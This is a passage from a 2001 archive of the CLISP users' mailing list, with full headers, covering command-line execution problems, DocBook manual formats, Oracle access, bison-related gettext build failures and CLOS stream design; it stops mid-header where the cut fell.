writes: > > Is there a recent latex or dvi version of impnotes.html? The master source for the impnotes manual is in doc/imp*.xml in DocBook/XML format. I can generate HTML using XALAN, but that's about it. If you can find a way to generate other formats, we would appreciate it! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Oh Lord, give me the source code of the Universe and a good debugger! From stas01@chat.ru Mon Mar 19 22:37:41 2001 Received: from gnu.chat.ru ([212.24.32.10] helo=mail.chat.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14fFm0-0004Y1-00 for ; Mon, 19 Mar 2001 22:37:40 -0800 Received: from adsl-63-196-0-194.dsl.snfc21.pacbell.net ([63.196.0.194] helo=breeze) by mail.chat.ru with asmtp (Exim 3.22 #3) id 14fFkf-0004aC-00 for clisp-list@lists.sourceforge.net; Tue, 20 Mar 2001 09:36:17 +0300 Date: Mon, 19 Mar 2001 22:39:44 -0800 From: Stanislav Baranov X-Mailer: The Bat! (v1.45) Business Reply-To: Stanislav Baranov X-Priority: 3 (Normal) Message-ID: <4194625416.20010319223944@chat.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Authorized: stas01 Subject: [clisp-list] running lisp program from command line Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, I guess I have problems running lisp programs from command line with clisp (under w2k). Suppose I have such a file test.lisp: (print "load") (defun test () (print "test")) I'm trying to run it like this: .\lisp.exe -M .\lispinit.mem -B . test.lisp I see nothing on the console. I think it just silently exits, because I tried this file with the same effect: (print "load") (defun test () (print "test") (test)) (test) If I start lisp in interactive mode, it prints all my test strings OK: .\lisp.exe -M .\lispinit.mem -B . test.lisp (load "test") (test) Of course, I can run it like this: .\lisp.exe -q -M .\lispinit.mem -B . -x "(load \"test\") (test)" But this is firstly workaround, and secondly, it prints all the system stuff like "Loading file ...", "Successfully loaded...", etc. (even if I specify -q flag). So what do you guys think about this? Thanks, Stas From peter.wood@worldonline.dk Tue Mar 20 00:07:02 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14fHAT-0000AU-00 for ; Tue, 20 Mar 2001 00:07:01 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 497EFB55B for ; Tue, 20 Mar 2001 09:09:19 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2K862Q00221; Tue, 20 Mar 2001 09:06:02 +0100 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] impnotes.{tex|dvi} ? References: <801yrtv508.fsf@localhost.localdomain> From: Peter Wood Date: 20 Mar 2001 09:06:02 +0100 In-Reply-To: Sam Steingold's message of "19 Mar 2001 16:32:37 -0500" Message-ID: <808zm0sw45.fsf@localhost.localdomain> Lines: 37 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > * Honorable Peter Wood writes: > > > > Is there a recent latex or dvi version of impnotes.html? > > The master source for the impnotes manual is in doc/imp*.xml in > DocBook/XML format. > I can generate HTML using XALAN, but that's about it. > If you can find a way to generate other formats, we would appreciate it! Hi, I used db2dvi to generate dvi pages of impext.xml. (Which is what I was interested in). There are places where there appear to be some problems, (maybe because I used an old docbook dtd) but it looks ok, generally speaking. According to the LDAP guide at: http://sunsite.dk/ldp/LDP/LDP-Author-Guide/jadewrappers.html#cygnus You need the following packages: sgml-common-0.1-8.noarch docbook-3.1-4.noarch stylesheets-1.54.13rh-1.noarch Updates at: http://www.redhat.com/support/errata/RHBA-2000022-01.html. I had to boot up an old RedHat installation, as I don't have RPM on my regular system. I suspect these packages may be RedHat specific. Regards, Peter From sds@gnu.org Tue Mar 20 07:35:43 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14fOAh-0006vn-00 for ; Tue, 20 Mar 2001 07:35:43 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA00850; Tue, 20 Mar 2001 09:36:35 -0600 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Stanislav Baranov Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] running lisp program from command line References: <4194625416.20010319223944@chat.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4194625416.20010319223944@chat.ru> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 Date: 20 Mar 2001 10:34:48 -0500 Message-ID: Lines: 22 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <4194625416.20010319223944@chat.ru> > * On the subject of "[clisp-list] running lisp program from command line" > * Sent on Mon, 19 Mar 2001 22:39:44 -0800 > * Honorable Stanislav Baranov writes: > > I guess I have problems running lisp programs from command line > with clisp (under w2k). > > .\lisp.exe -M .\lispinit.mem -B . test.lisp > > I see nothing on the console. I think it just silently exits, yep - confirmed on nt4sp6. Bruno, do you have an idea? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Don't take life too seriously, you'll never get out of it alive! From earneson@musiciansfriend.com Tue Mar 20 10:08:07 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14fQYA-0007F9-00 for ; Tue, 20 Mar 2001 10:08:07 -0800 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA955 for ; Tue, 20 Mar 2001 10:08:21 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15031.40205.156772.937256@sif.musiciansfriend.com> Date: Tue, 20 Mar 2001 10:10:21 -0800 To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.90 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid X-Face: 5cn>qK@1OR6I-8MTrOxM$uWT{q,+]tk>lw=d"k3z;kz&?EWr!I}*M1\owVgP[N7D0v@l}Q&xVi1y$_$KJ_cZU>A.PV~*i,2veR@'ALMDk&8@}Bj^UTyy](qQV+Ba#k-lsYs|sa~CIKW~Q[\#|.*mKUsa!5KP$i."L#:vnUdzRLOusI%ODk#V]}u`cx0+s1pp,Py|=d2d From: "Erik Arneson" Subject: [clisp-list] ODBC or Oracle support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Howdy folks, I've used Eric Marsden's PostgreSQL Lisp package before and liked it quite a bit. However, we use Oracle here at work, and I'd like to be able to access the database from CLISP. Are there any Oracle or ODBC packages out there for CLISP? -- # Erik Arneson Web Engineer # # Mobile: 541.840.3100 GPG Key ID: 1024D/43AD6AB8 # # Office: 541.774.5391 # From Randy.Justice@cnet.navy.mil Tue Mar 20 10:21:41 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14fQko-0008TJ-00 for ; Tue, 20 Mar 2001 10:21:10 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA27793; Tue, 20 Mar 2001 12:22:40 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Mar 2001 12:22:58 -0600 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Erik Arneson '" , "'clisp-list@lists.sourceforge.net '" Subject: RE: [clisp-list] ODBC or Oracle support Date: Tue, 20 Mar 2001 12:22:53 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B16A.C78EFB20" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0B16A.C78EFB20 Content-Type: text/plain; charset="iso-8859-1" Would that be a function of CLISP or the OS? Randy -----Original Message----- From: Erik Arneson To: clisp-list@lists.sourceforge.net Sent: 03/20/2001 12:10 PM Subject: [clisp-list] ODBC or Oracle support Howdy folks, I've used Eric Marsden's PostgreSQL Lisp package before and liked it quite a bit. However, we use Oracle here at work, and I'd like to be able to access the database from CLISP. Are there any Oracle or ODBC packages out there for CLISP? -- # Erik Arneson Web Engineer # # Mobile: 541.840.3100 GPG Key ID: 1024D/43AD6AB8 # # Office: 541.774.5391 # _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net http://lists.sourceforge.net/lists/listinfo/clisp-list ------_=_NextPart_001_01C0B16A.C78EFB20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] ODBC or Oracle support

 Would that be a function of CLISP or the = OS? 

Randy


-----Original Message-----
From: Erik Arneson
To: clisp-list@lists.sourceforge.net
Sent: 03/20/2001 12:10 PM
Subject: [clisp-list] ODBC or Oracle support

Howdy folks,

I've used Eric Marsden's PostgreSQL Lisp package = before and liked it
quite a bit.  However, we use Oracle here at = work, and I'd like to be
able to access the database from CLISP.

Are there any Oracle or ODBC packages out there for = CLISP?

--
# Erik Arneson = <earneson@musiciansfriend.com>   Web Engineer #
#  Mobile: = 541.840.3100          = GPG Key ID: 1024D/43AD6AB8 #
#  Office: 541.774.5391    = <http://www.musiciansfriend.com/> #


_______________________________________________
clisp-list mailing list
clisp-list@lists.sourceforge.net
http://lists.sourceforge.net/lists/listinfo/clisp-list=

------_=_NextPart_001_01C0B16A.C78EFB20-- From Randy.Justice@cnet.navy.mil Thu Mar 22 05:14:08 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14g4ul-0002Uc-00 for ; Thu, 22 Mar 2001 05:14:08 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA14174; Thu, 22 Mar 2001 07:13:16 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Mar 2001 07:13:38 -0600 Message-ID: From: "Justice, Randy -CONT(DYN)" Reply-To: sds@gnu.org To: "'clisp-list@lists.sourceforge.net'" Cc: "'clisp-list@lists.sourceforge.net'" Date: Thu, 22 Mar 2001 07:13:38 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B2D1.E884F330" Subject: [clisp-list] SPEED Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0B2D1.E884F330 Content-Type: text/plain; charset="iso-8859-1" Is their a method to compile CLISP ( A driect or indirect method)? Randy ------_=_NextPart_001_01C0B2D1.E884F330 Content-Type: text/html; charset="iso-8859-1" SPEED

Is their a method to compile CLISP ( A driect or indirect method)?




Randy

------_=_NextPart_001_01C0B2D1.E884F330-- From marcoxa@cs.nyu.edu Fri Mar 23 06:27:04 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gSWs-0000OG-00 for ; Fri, 23 Mar 2001 06:27:02 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA03237; Fri, 23 Mar 2001 09:26:10 -0500 Date: Fri, 23 Mar 2001 09:26:10 -0500 Message-Id: <200103231426.JAA03237@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: earneson@musiciansfriend.com CC: clisp-list@lists.sourceforge.net In-reply-to: <15031.40205.156772.937256@sif.musiciansfriend.com> (earneson@musiciansfriend.com) Subject: Re: [clisp-list] ODBC or Oracle support References: <15031.40205.156772.937256@sif.musiciansfriend.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > Content-Type: text/plain; charset=us-ascii > From: "Erik Arneson" > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.3 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: Tue, 20 Mar 2001 10:10:21 -0800 > Content-Length: 609 > > Howdy folks, > > I've used Eric Marsden's PostgreSQL Lisp package before and liked it > quite a bit. However, we use Oracle here at work, and I'd like to be > able to access the database from CLISP. > > Are there any Oracle or ODBC packages out there for CLISP? > You could try UncommonSQL. I don't have a URL at hand but Google always helps. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From sds@gnu.org Fri Mar 23 15:23:04 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gatc-0000Fn-00; Fri, 23 Mar 2001 15:23:04 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA03320; Fri, 23 Mar 2001 18:22:54 -0500 (EST) X-Envelope-To: To: clisp-list@sourceforge.net, clisp-devel@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 23 Mar 2001 17:57:17 -0500 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] latest gettext breaks compilation on solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: make[1]: Entering directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/intl' bison -y -d --name-prefix=__gettext --output plural.c plural.y Usage: bison [-dhltvyV] [-b file-prefix] [-o outfile] [-p name-prefix] [--debug] [--defines] [--fixed-output-files] [--no-lines] [--verbose] [--version] [--help] [--yacc] [--file-prefix=prefix] [--name-prefix=prefix] [--output=outfile] grammar-file make[1]: *** [plural.c] Error 1 make[1]: Leaving directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/int attempting a quick fix: $ bison -y -d -p __gettext -o plural.c plural.y conflicts: 7 shift/reduce $ make gcc -O -c -DLOCALEDIR=\"/usr/local/share/locale\" -DLOCALE_ALIAS_PATH=\"/usr/local/share/locale\" -DLIBDIR=\"/usr/local/lib\" -DHAVE_CONFIG_H -I.. -I. -I../intl plural.c /opt/gnu/lib/bison.simple:141: conflicting types for `gettextparse__' gettextP.h:232: previous declaration of `gettextparse__' /opt/gnu/lib/bison.simple: In function `gettextparse__': /opt/gnu/lib/bison.simple:354: too few arguments to function `__gettextlex' plural.y:181: `arg' undeclared (first use in this function) plural.y:181: (Each undeclared identifier is reported only once plural.y:181: for each function it appears in.) make: *** [plural.o] Error 1 -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Never succeed from the first try - if you do, nobody will think it was hard. From haible@ilog.fr Fri Mar 23 16:24:14 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gbqm-0003W2-00; Fri, 23 Mar 2001 16:24:12 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.3/8.11.3) with ESMTP id f2O0IPR20592; Sat, 24 Mar 2001 01:18:25 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.122]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f2O0NCV05533; Sat, 24 Mar 2001 01:23:12 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA16115; Sat, 24 Mar 2001 01:23:05 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15035.59609.947231.14291@honolulu.ilog.fr> Date: Sat, 24 Mar 2001 01:22:49 +0100 (CET) To: clisp-devel@lists.sourceforge.net Cc: clisp-list@sourceforge.net In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: latest gettext breaks compilation on solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > make[1]: Entering directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/intl' > bison -y -d --name-prefix=__gettext --output plural.c plural.y > Usage: bison [-dhltvyV] [-b file-prefix] [-o outfile] [-p name-prefix] > [--debug] [--defines] [--fixed-output-files] [--no-lines] > [--verbose] [--version] [--help] [--yacc] > [--file-prefix=prefix] [--name-prefix=prefix] > [--output=outfile] grammar-file > make[1]: *** [plural.c] Error 1 > make[1]: Leaving directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/int First, this doesn't happen with the distribution, because the distribution has plural.c newer than plural.y: $ tar tvfz clisp-2.25.tar.gz | grep /plural -rw-r--r-- root/root 34050 2001-03-12 21:21:24 clisp-2.25/src/gettext/intl/plural.c -rw-r--r-- root/root 7717 2001-03-12 21:14:00 clisp-2.25/src/gettext/intl/plural.y > attempting a quick fix: Second, bison-1.24 is very old. (Btw, you should have mentioned the version of bison you use.) At least bison-1.26 is needed for clisp hacking. The current release is bison-1.28. Bruno From sds@gnu.org Fri Mar 23 16:54:25 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gcK1-00005p-00 for ; Fri, 23 Mar 2001 16:54:25 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id TAA13023 for ; Fri, 23 Mar 2001 19:54:22 -0500 (EST) X-Envelope-To: To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 23 Mar 2001 19:52:56 -0500 Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] CLOS streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Where are we going WRT CLOS streams? we have - industry-standard Gray streams and - CLISP-specific "generic-streams" (is anyone using them? should they be removed?) What about the Franz streams? http://www.franz.com/support/documentation/6.0/doc/streams.htm should we support them as well? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on MS: our tomorrow's software will run on your tomorrow's HW at today's speed. From don-sourceforge@isis.compsvcs.com Fri Mar 23 17:42:47 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gd4p-0005QM-00 for ; Fri, 23 Mar 2001 17:42:47 -0800 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f2O1oDc04598; Fri, 23 Mar 2001 17:50:14 -0800 (PST) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15035.64852.384828.819145@isis.compsvcs.com> Date: Fri, 23 Mar 2001 17:50:12 -0800 (PST) To: sds@gnu.org Cc: clisp-list@sourceforge.net Subject: [clisp-list] CLOS streams In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > Where are we going WRT CLOS streams? > we have > > - industry-standard Gray streams and > > - CLISP-specific "generic-streams" > (is anyone using them? ME! > should they be removed?) I'd have to rewrite the stuff that uses them. I'd probably try to live with the latest clisp that supports them for a while. > What about the Franz streams? > http://www.franz.com/support/documentation/6.0/doc/streams.htm > should we support them as well? From sds@gnu.org Fri Mar 23 20:06:18 2001 Received: from [32.97.166.31] (helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gfJi-00069r-00 for ; Fri, 23 Mar 2001 20:06:18 -0800 Received: from xchange.com (slip-32-100-244-16.ma.us.prserv.net[32.100.244.16]) by prserv.net (out1) with ESMTP id <2001032404061320104sgiupe>; Sat, 24 Mar 2001 04:06:15 +0000 To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLOS streams References: <15035.64852.384828.819145@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15035.64852.384828.819145@isis.compsvcs.com> Date: 23 Mar 2001 23:05:30 -0500 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15035.64852.384828.819145@isis.compsvcs.com> > * On the subject of "[clisp-list] CLOS streams" > * Sent on Fri, 23 Mar 2001 17:50:12 -0800 (PST) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > Sam Steingold writes: > > - CLISP-specific "generic-streams" > > (is anyone using them? > ME! any reason you don't like Gray streams? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Perl: all stupidities of UNIX in one. From don-sourceforge@isis.compsvcs.com Fri Mar 23 23:05:41 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14gi7J-0003h2-00 for ; Fri, 23 Mar 2001 23:05:41 -0800 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f2O7D7T04755; Fri, 23 Mar 2001 23:13:08 -0800 (PST) Date: Fri, 23 Mar 2001 23:13:08 -0800 (PST) Message-Id: <200103240713.f2O7D7T04755@isis.compsvcs.com> X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) To: sds@gnu.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLOS streams In-Reply-To: References: <15035.64852.384828.819145@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > > Sam Steingold writes: > > > - CLISP-specific "generic-streams" > > > (is anyone using them? > > ME! > > any reason you don't like Gray streams? No. I used generic streams before Gray streams were available. I assume (without having looked at all) that it wouldn't be difficult to switch (switch streams in mid ... what?) but surely more trouble than leaving the code alone. From cmcurtin@interhack.net Sun Mar 25 13:55:07 2001 Received: from strangepork.interhack.net ([38.194.92.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14hITb-0001tB-00 for ; Sun, 25 Mar 2001 13:55:07 -0800 Received: from animal.interhack.net (animal.interhack.net [38.194.92.69]) by strangepork.interhack.net (8.11.0/8.11.0) with ESMTP id f2PLv1Z06398 for ; Sun, 25 Mar 2001 16:57:01 -0500 (EST) Received: (from cmcurtin@localhost) by animal.interhack.net (980427.SGI.8.8.8/8.8.5) id QAA18656; Sun, 25 Mar 2001 16:52:58 -0500 (EST) To: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] SPEED References: X-Face: L"IcL.b%SDN]0Kql2b`e.}+i05V9fi\yX#H1+Xl)3!+n/3?5`%-SA-HDgPk9uTk<3dv^J5DCgal)-E{`zN#*o6F|y>r)\< Date: 25 Mar 2001 16:52:54 -0500 In-Reply-To: "Justice, Randy -CONT's message of "Thu, 22 Mar 2001 07:13:38 -0600" Message-ID: <86zoe94itl.fsf@animal.interhack.net> Lines: 12 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Randy" == DYN writes: Randy> Is their a method to compile CLISP ( A driect or indirect Randy> method)? No doubt, standard functions for compilation like COMPILE and COMPILE-FILE will be useful. If you're interested in dumping a memory image for use a la clisp -M, consider SAVEINITMEM. -- Matt Curtin, Founder Interhack Corporation http://www.interhack.net/ "Building the Internet, Securely." research | development | consulting From bruce253@163.net Mon Mar 26 01:36:16 2001 Received: from [211.101.174.194] (helo=ibm3500) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14hTQ7-0007aF-00 for ; Mon, 26 Mar 2001 01:36:15 -0800 Received: from 